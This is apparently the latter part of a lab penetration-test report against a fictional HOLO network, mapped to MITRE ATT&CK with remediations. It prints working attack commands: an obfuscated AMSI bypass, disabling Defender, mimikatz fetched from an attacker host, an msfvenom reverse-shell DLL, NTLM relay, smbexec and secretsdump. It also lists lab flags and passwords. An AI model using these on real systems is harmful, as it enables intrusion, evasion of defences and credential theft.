('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAH
MAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
2.
3. Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
4.
5. Set-MpPreference -DisableRealtimeMonitoring $true

MITRE ATT&CK Framework References (Defense Evasion)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
bypass Windows AMSI on 10.200.107.31 as listed below:

• Tactic – TA0005 – Defense Evasion

• Technique – T1562 - Impair Defenses
• Sub-technique – T1562.001 - Impair Defenses: Disable or Modify Tools
• Technique – T1211 - Exploitation for Defense Evasion

Root.txt

Next we enumerate through the system and found the “root.txt” on

“C:\Users\Administrator\Desktop”

root.txt found on 10.200.107.31 as shown below:

Credential Dumping

As we are working on Windows system, we have uploaded most popular tools such as "mimikatz"
to dump 10.200.107.31 system hashes using powershell command below:

1. Invoke-WebRequest "http://10.50.103.20/mimikatz.exe" -outfile "mimikatz.exe"

Next, we run command below to dump all possible credential information and hashes such as
NTLM via mimikatz.

1. .\mimikatz "log host-31.log" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

And right away from mimikatz result, we found clear text credential for one of the user (watamet)
on the system as shown below:

MITRE ATT&CK Framework References (Credential Dumping)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
dump NTLM hash on 10.200.107.31 as listed below:

• Tactic - TA0006 - Credential Access

• Technique – T1003 - OS Credential Dumping
• Sub-technique – T1003.005 - OS Credential Dumping: Cached Domain Credentias
• Sub-technique – T1003.002 - OS Credential Dumping: Security Account Manager
• Sub-technique – T1003.001 - OS Credential Dumping: LSASS Memory
• Sub-technique – T1003.004 - OS Credential Dumping: LSA Secrets

Targeted System: 10.200.107.35 (Host IP)

Lateral Movement

With the credentials found, let's move on to another system.

We have tried the credentials found on different system, only 10.200.107.35 is accessible as
shown below:

MITRE ATT&CK Framework References (Lateral Movement)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
access 10.200.107.35 as listed below:

• Tactic – TA0008 - Lateral Movement

• Technique – T1021 – Remote Services
• Sub-technique – T1021.001 - Remote Services: Remote Desktop Protocol

User.txt

Right off the bat, we found user.txt on desktop.

user.txt on 10.200.107.35 as shown below:

Defense Evasion

As we are using "watamet" user logging in 10.200.107.35 and it does not have local administrator
right on the system, hence unable to execute command require admin privilege.

We decided to use applocker bypass checker (that was downloaded on our attacker machine) to
check if the system has enabled applocker which most Windows system does and get the folder is
accessible without restricted.

The applocker bypass checker can be download here

We execute powershell command below to download the applocker bypass checker from our
attacker machine:

1. Invoke-WebRequest "http://10.50.103.20/applocker-bypas-checker.ps1.txt" -outfile "applocker-bypas-checker.ps1"

To be safe, we have download the applocker bypass checker in “C:\Windows\Tasks”, this is the
folder used by Windows Scheduled Task.

Next, we run the following powershell command to start the applocker bypass checker:

1. .\ applocker-bypas-checker.ps1

Below is the result of applocker bypass checker:

Result of applocker bypass checker shows several directories are allow with execution permission
without being block by AppLocker in which BLACK SUN SECURITY used “C:\Windows\Tasks” for
further exploit.

MITRE ATT&CK Framework References (Defense Evasion)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
bypass Windows AppLocker on 10.200.107.35 as listed below:

• Tactic – TA0005 – Defense Evasion

• Technique – T1211 - Exploitation for Defense Evasion

Exploitation of DLL Hijacking

From here, we can confirm that “C:\Windows\Tasks” is safe for us to execute command and tool.

Now, we start to enumerate the system and we found a very interesting application
(kavremover.exe) at “C:\Users\watamet\Applications\” as shown below, which is unusual path for
program.

Immediate we check is there any vulnerability or exploit for this application, and here is what we
found.

It is exploitable with DLL hijacking especially it is using unusual application path.

First we create a malicious DLL that embedded reverse shell meterpreter module form Metasploit
for the vulnerable application using msfvenom on out attacker machine as per below command.

1. sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.103.20 LPORT=16666 -f dll -o kavremoverENU.dll

Then we use the same “Invoke-WebRequest” powershell command to download the malicious
DLL from our attacker machine to target system under “C:\Windows\Tasks” as shown below:

For the exploit to work, we must copy the malicious DLL from “C:\Windows\Tasks” to original
application folder, as the DLL hijacking work when the application start; it will search for DLL in the
same folder, this is how we exploit it.

Next, we setup the Metasploit multi-handler module on our attacker machine as below:

1. use exploit/multi/handler
2. set payload windows/meterpreter/reverse_tcp
3. set LHOST 10.50.103.20
4. set LPORT 16666
5. run -j
6.

Next, we run the vulnerable application.

To ensure the malicious DLL is loaded, we use command line to start the application and it prompt
error below however, the meterpreter session is established.

And we got a shell call-back to meterpreter as shown below:

First Vulnerability Found

CWE-428: Unquoted Search Path or Element

Impact | Severity of the vulnerability:

• Critical

System Affected:
• 10.200.107.35

Description of the vulnerability found:
• HOLO does not configure secure and restricted service path for the service installed on
Windows system.
• This allows BALCK SUN SECURITY gain elevated privileges by inserting an executable file
in the path of the affected service.

Explanation of the vulnerability found:

• The Windows host has at least one service installed that uses an unquoted service path,
which contains at least one whitespace.
• This is a vulnerability that manifests itself whenever the path to the executable used for a
service is not surrounded by quotes which can be exploited to execute an arbitrary binary
when the vulnerable service starts, which could allow to escalate privileges to SYSTEM
• The way to exploit this vulnerability is to place a malicious executable somewhere in the
service path and name it in a way that starts with the first few letters of the next directory in
the service path. When the service starts, it will then execute the evil binary and grant
remote SYSTEM access.

References for the vulnerability:

• Windows Privilege Escalation – Unquoted Service Paths
• DLL Hijacking — Part 1 : Basics

Vulnerability Fix | Remediation:

• Ensure that any services that contain a space in the path enclose the path in quotes.

Remediation Owner:
• System Owner

MITRE ATT&CK Framework References (Exploitation of DLL Hijacking)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
perform exploitable of DLL Hijacking on 10.200.107.35 as listed below:

• Tactic – TA0004 - Privilege Escalation

• Technique – T1574 - Hijack Execution Flow
• Sub-technique – T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking
• Tactic – TA0005 – Defense Evasion
• Technique – T1218 - Signed Binary Proxy Execution
• Sub-technique – T1218.011 - Signed Binary Proxy Execution: Rundll32

Stabilize Meterpreter Shell

As we are using meterpreter, we need to inject meterpreter process into the system to have better
and stabilize shell access, below is what we done to get a stabilize shell.

First, we need to execute “getsystem” command in meterpreter to temporary escalate our privilege
to “NT-AUTHORITY\SYSTEM”

With the “NT-AUTHORITY\SYSTEM”, we can now run command require admin.

Next, use “ps” command to get the list of process running on 10.200.107.35 as shown below:

Then, we execute the following command to inject meterpreter process into the system (with the
process selected, e.g., 696 – winlogon.exe) as shown below:

1. Run migrate -p 696

MITRE ATT&CK Framework References (Stabilize Meterpreter Shell)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
gain stabilize shell on 10.200.107.35 as listed below:

• Tactic – TA0004 - Privilege Escalation

• Technique – T1055 - Process Injection

Persistent Access (Maintain Access)

Once done, we can execute “shell” command to have command line access on 10.200.107.35

And we perform the same technique to gain persistent access to the system that was done on
10.200.107.31

• create user and add user to local administrator group

• add "watamet" to local administrator group
• turn off windows firewall for all profile
• add "Everyone" into "Remote Desktop Users"
• bypass Windows AMSI
• upload mimikatz and dump all the available hashes such as NTLM (alternatively we can
execute run post/windows/gather/hashdump in meterpreter to dump hashes as well)

Root.txt

Then we start enumerating the system and found root.txt on “C:\Users\Administrator\Desktop” as

shown below:

System Network Enumeration

Besides, we execute command below to check if the system joined domain or any domain user:

1. net user /domain

And the result show current system 10.200.107.35 is joined HOLOLIVE domain and the domain
server is “DC-SRV01” (alternatively, the mimikatz result show the same)

We run the following command “nslookup DC-SRV01”, it resolved to 10.200.107.30 and we

decided to attack 10.200.107.30

Targeted System: 10.200.107.30 (Host IP)

Exploitation on SMB with NTLM Relay Attack

We decided to attack on “DC-SRV01” domain server – 10.200.107.30 using NTLM relay attack
after researching on possible exploitable on SMB vulnerability.

Below are the references found on SMB vulnerability:

• An SMB Relay Race – How to Exploit LLMNR and SMB Message Signing for Fun and
Profit
• Remote NTLM Relaying via Meterpreter
• Remote NTLM relaying through meterpreter on Windows port 445

For this we use the popular Impacket - ntlmrelayx which is downloaded on our attacker machine
and run it with below command:

1. sudo python3 ntlmrelayx.py -t smb://10.200.107.30 -smb2support -socks

For ntlm relay attack to work, we must perform below action on the system that we have access to
which is 10.200.107.35 - that is also accessible to 10.200.107.30:

• Execute command below to stop the SMB services on 10.200.107.35, that allow us to
intercept and relay the SMB session from our attacker machine.

1. sc stop netlogon
2. sc stop lanmanserver
3. sc config lanmanserver start= disabled
4. sc stop lanmanworkstation
5. sc config lanmanworkstation start= disabled
6.

• Once done, we execute the following command “shutdown /r /t 0” to restart 10.200.107.35

• We can perform nmap scanning to ensure the SMB service is not running with “nmap -p
445 10.200.107.35”
o The nmap result shown below:

• On our attacker machine, once 10.200.107.35 is up and meterpreter session will be

connected (from the DLL Hijacking exploitation) and execute command below to forward
SMB traffic from 10.200.107.35 back to our attacker machine.

1. portfwd add -R -L 0.0.0.0 -l 445 -p 445

Once above action taken, the exploitation is completed as shown below (It may take up to 3
minutes for Impacket - ntlmrelayx to start receiving SMB traffic):

First Vulnerability Found

NIST - CVE-2016-2115

Impact | Severity of the vulnerability:

• Critical

System Affected:
• 10.200.107.30

Description of the vulnerability found:

• HOLO does not configure to enforce SMB Signing with SAMBA services
• This configuration allows man-in-the-middle attackers to spoof SMB clients by modifying the
client-server data stream in which BLACK SUN SECURITY exploited SMB Session with
abusing NTLM session to gain access to 10.200.107.30.

Explanation of the vulnerability found:

• This vulnerability allows attackers to perform man-in-the-middle attackers to spoof SMB
clients by modifying the client-server data stream.

References for the vulnerability:
• CWE-254: 7PK - Security Features (4.5)
• CVE Details - CVE-2016-2115
• Tenable - SMB Signing not required
• An SMB Relay Race – How to Exploit LLMNR and SMB Message Signing for Fun and
Profit
• Remote NTLM Relaying via Meterpreter
• Remote NTLM relaying through meterpreter on Windows port 445

Vulnerability Fix | Remediation:

• Enforce message signing in the host's configuration.
• On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign
communications (always)'.
• On Samba, the setting is called 'server signing'.

Remediation Owner:
• System Owner

MITRE ATT&CK Framework References (Exploitation on SMB with NTLM Relay Attack)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
exploit SMB vulnerability on 10.200.107.30 as listed below:

• Tactic - TA0006 - Credential Access

• Technique – T1557 - Man-in-the-Middle
• Sub-technique – T1557.001 - Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB
Relay
• Tactic – TA0011 - Command and Control
• Technique – T1090 - Proxy
• Technique – T1572 - Protocol Tunneling
• Tactic – TA0005 – Defense Evasion
• Technique – T1562 - Impair Defenses
• Sub-technique – T1562.001 - Impair Defenses: Disable or Modify Tools
• Tactic – TA0040 - Impact
• Technique – T1489 – Service Stop
• Technique – T1529 – System Shutdown/Reboot

Lateral Movement

As we success exploit SMB session with ntlm relay attack, we decided to use the popular tools
from Impacket - smbexec that is downloaded on our attacker machine to gain access to
10.200.107.30 in conjunction with “proxychain”

To use smbexec with proxychain, we have added below line into “/etc/proxychain.conf” on our
attacker machine (we have installed proxychain prior using “sudo apt install -y proxychains”
command on our attacker machine).

1. socks4 127.0.0.1 1080

Once ready, we execute the following command, it will launch shell access on 10.200.107.30

1. sudo proxychains python3 ./smbexec.py -no-pass HOLOLIVE/[email protected] -shell-type cmd

MITRE ATT&CK Framework References (Lateral Movement)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
gain shell access on 10.200.107.30 as listed below:

• Tactic – TA0008 - Lateral Movement

• Technique – T1021 – Remote Services
• Sub-technique – T1021.002 - Remote Services: SMB/Windows Admin Shares
• Tactic – TA0011 - Command and Control
• Technique – T1090 - Proxy

Persistent Access (Maintain Access)

And we perform the same technique to gain persistent access to the system that was done on
10.200.107.31

• create user and add user to local administrator group

Root.txt

Then we start enumerating the system and found “root.txt” on “C:\Users\Administrator\Desktop” as

shown below:

NTLM Hash Dumping

We use the Impacket – secretsdump (as alternative method) to dump the NTLM hashes, that was
downloaded on our attacker machine and execute command below to dump NTLM hashes:

1. sudo python3 ./secretsdump.py ‘HOLOLIVE/hacker:[email protected]’

With this, we have own the entire Holo corporate network and Holo domain controller.

Side note, we have tried various method to attack 10.200.107.32 however the attack is
unsuccessful.

Overview of Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into
a system after it has been exploited is invaluable.

The maintaining access phase of the penetration test focuses on ensuring that once the focused
attack has occurred, we have administrative access over the system again.

Many exploits may only be exploitable once and we may never be able to get back into a system
after we have already per-formed the exploit.

Black Sun Security added administrator or root level accounts on all systems compromised. In
addition to the administrative/root access, Black Sun Security has added attacker sshkey to all
system compromised that have SSH service running.

House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are
removed.

Often fragments of tools or user accounts are left on an organizations computer which can cause
security issues down the road. Ensuring that Black Sun Security are meticulous, and no remnants
of our penetration test are left over is important.

After the penetration test were completed, Black Sun Security removed all user accounts,
passwords, malicious files (including reverse shell php file, mimikatz, powershell script and DLL
file), database tables and sshkey installed on the system.

Black Sun Security has ensured all the services that have been turn off or disabled during the
assessment are revert to normal, docker container is up and running (remove leftover container
used for privilege escalation) and any modification of user account group/permission is revert as
well.

HOLO should not have to remove any user accounts or services from the system

Conclusion | Summary

HOLO corporate network suffered a series of improper user input validation that led to complete
compromise of internal network in which BLACK SUN SECURITY has successful obtained access
with administrative privileges into four (4) system that were on the HOLO corporate network.

The objectives of this penetration testing were met as BLACK SUN SECURITY has identified and
determined the impact of potential security beach on confidentiality of HOLO corporate data and
internal infrastructure.

It is highly recommended that HOLO take immediate action to patch these vulnerabilities as soon
as possible as the vulnerabilities are easily found through basic reconnaissance and exploitable
without much effort (as low-hanging fruits).

Additional Items

Appendix 1 – References

Vulnerabilities References
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command
Injection')
• CWE-640: Weak Password Recovery Mechanism for Forgotten Password
• CWE-434: Unrestricted Upload of File with Dangerous Type
• CWE-427: Uncontrolled Search Path Element
• NIST - CVE-2016-2115
• Code Execution via Local File Inclusion
• PortSwigger - Robots.txt file
• CWE-23
• CWE-36
• CWE-184
• CWE-182
• NIST - CVE-2020-28950 Detail
• CVE Detail - CVE-2020-28950
• IBM X-Force Exchange - Anti-Ransomware Tool privilege escalation
• CWE-254: 7PK - Security Features (4.5)
• CVE Details - CVE-2016-2115
• Tenable - SMB Signing not required
• Unrestricted File Upload - OWASP
• CWE-428: Unquoted Search Path or Element

Vulnerabilities Articles
• Password reset poisoning - PortSwigger
• Password Reset Vulnerability (Poisoning) - Acunetix
• DLL Hijacking
• An SMB Relay Race – How to Exploit LLMNR and SMB Message Signing for Fun and
Profit
• Remote NTLM Relaying via Meterpreter
• Remote NTLM relaying through meterpreter on Windows port 445
• An SMB Relay Race – How to Exploit LLMNR and SMB Message Signing for Fun and
Profit
• Remote NTLM Relaying via Meterpreter
• Remote NTLM relaying through meterpreter on Windows port 445
• Project 12: Cracking Linux Password Hashes with Hashcat

Best Practices
• OWASP Secure Coding Best Practice v2

Tool References
• NTLMRelayx
• SMBexec
• secretsdump
• Generate Backdoor via SQL Injection
• https://gtfobins.github.io/gtfobins/docker/#suid
• applocker bypass checker
• PHP Reverse Shell

Appendix 2 – MITRE ATT&CK Framework

This appendix 2 – MITRE ATT&CK Framework show the tactics, techniques and sub-techniques
used that can be correlated to the action of BLACK SUN SECURITY performed during this
assessment.

This is extremely useful and acted as a guide for HOLO to plan, engage improvement of detection
capabilities (or early detection) and response to the threats and risks in HOLO corporate
environment.

Tactics
• Tactic - TA0001 - Initial Access
• Tactic – TA0002 - Execution
• Tactic – TA0003 - Persistence
• Tactic – TA0004 - Privilege Escalation
• Tactic – TA0005 – Defense Evasion
• Tactic - TA0006 - Credential Access
• Tactic – TA0007 - Discovery
• Tactic – TA0008 - Lateral Movement
• Tactic – TA0040 - Impact
• Tactic - TA0043 - Reconnaissance

Techniques
• Technique – T1003 - OS Credential Dumping
• Technique – T1021 – Remote Services
• Technique – T1055 - Process Injection
• Technique – T1059 - Command and Scripting Interpreter
• Technique – T1078 – Valid Accounts
• Technique – T1087 – Account Discovery
• Technique – T1090 - Proxy
• Technique – T1098 - Account Manipulation
• Technique – T1110 – Brute Force
• Technique – T1136 – Create Account
• Technique - T1190 - Exploit Public-Facing Application
• Technique – T1210 - Exploitation of Remote Services
• Technique – T1211 - Exploitation for Defense Evasion
• Technique – T1212 - Exploitation for Credential Access
• Technique – T1218 - Signed Binary Proxy Execution
• Technique – T1489 – Service Stop
• Technique – T1505 - Server Software Component
• Technique – T1529 – System Shutdown/Reboot
• Technique – T1548 - Abuse Elevation Control Mechanism
• Technique - T1552 - Unsecured Credentials
• Technique – T1557 - Man-in-the-Middle
• Technique – T1562 - Impair Defenses
• Technique – T1572 - Protocol Tunneling
• Technique – T1574 - Hijack Execution Flow
• Technique – T1611 – Escape to Host
• Technique - T1590 - Gather Victim Network Information
• Technique - T1592 - Gather Victim Host Information
• Technique - T1595 - Active Scanning

Sub-techniques
• Sub-technique – T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow
• Sub-technique – T1021.001 - Remote Services: Remote Desktop Protocol
• Sub-technique – T1021.002 - Remote Services: SMB/Windows Admin Shares
• Sub-technique – T1059.004 - Command and Scripting Interpreter: Unix Shell
• Sub-technique – T1078.003 - Valid Accounts: Local Accounts
• Sub-technique – T1087.001 – Account Discovery: Local Account
• Sub-technique – T1098.004 - Account Manipulation: SSH Authorized Keys
• Sub-technique – T1110.002 – Brute Force: Password Cracking
• Sub-technique – T1136.001 - Create Account: Local Account
• Sub-technique – T1218.011 - Signed Binary Proxy Execution: Rundll32
• Sub-technique – T1136.001 - Create Account: Local Account
• Sub-technique – T1218.011 - Signed Binary Proxy Execution: Rundll32
• Sub-technique – T1505.003 - Server Software Component: Web Shell
• Sub-technique – T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid
• Sub-technique - T1552.001 - Unsecured Credentials: Credentials In Files
• Sub-technique – T1557.001 - Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB
Relay
• Sub-technique – T1562.001 - Impair Defenses: Disable or Modify Tools
• Sub-technique – T1562.004 - Impair Defenses: Disable or Modify System Firewall
• Sub-technique – T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking
• Sub-technique – T1590.005 - Gather Victim Network Information: IP Addresses
• Sub-technique – T1592.002 - Gather Victim Host Information: Software
• Sub-technique - T1595.001 - Active Scanning: Scanning IP Blocks

Appendix 3 - Trophies

IP | user.txt location root.txt location Flag

Hostname

http://admin. /var/www/admin/user. HOLO{175d7322f8fc53392a4

holo.live txt 17ccde356c3fe}

10.200.107. /var/www/user.txt HOLO{3792d7d80c4dcabb8a

33 533afddf06f666}

10.200.107. /root/root.txt HOLO{e16581b01d445a05ad

33 b2e6d45eb373f7}

http://10.200 HOLO{bcfe3bcb8e6897018c6
.107.31 3fbec660ff238}

10.200.107. C:\Users\Administrator\ HOLO{50f9614809096ffe2d24

31 Desktop\root.txt 6e9dd21a76e1}

10.200.107. C:\Users\watamet\De HOLO{2cb097ab8c412d565e

35 sktop\user.txt c3cab49c6b082e}

10.200.107. C:\Users\Administrator\ HOLO{ee7e68a69829e56e1d

35 Desktop\root.txt 5b4a73e7ffa5f0}

10.200.107. C:\Users\Administrator\ HOLO{29d166d973477c6d8b

30 Desktop\root.txt 00ae1649ce3a44}

Appendix 4 - Meterpreter Usage

For this assessment, BLACK SUN SECURITY used one (1) Metasploit Meterpreter module on
single target hosts – 10.200.107.35

Appendix 5 - Account Usage

For this assessment, BLACK SUN SECURITY obtained and leveraging valid user account below:

• admin:DBManagerLogin!
• www-data
• root
• linux-admin
• admin:!123SecureAdminDashboard321!
• gurag
• nt authority\system
• watamet:Nothingtoworry!
• HOLOLIVE/SRV-ADMIN

Appendix 6 – Additional [tools | binary] Usage
• nmap
• gobuster
• rustscan
• curl
• rdesktop
• ntlmrelayx
• proxychain
• msfconsole & msfvenom
• nc
• find
• docker
• route
• python3
• ps
• mysql
• ssh-keygen
• hashcat
• sshuttle
• powershell
• mimikatz
• applocker bypass checker
• smbexec
• secretsdump

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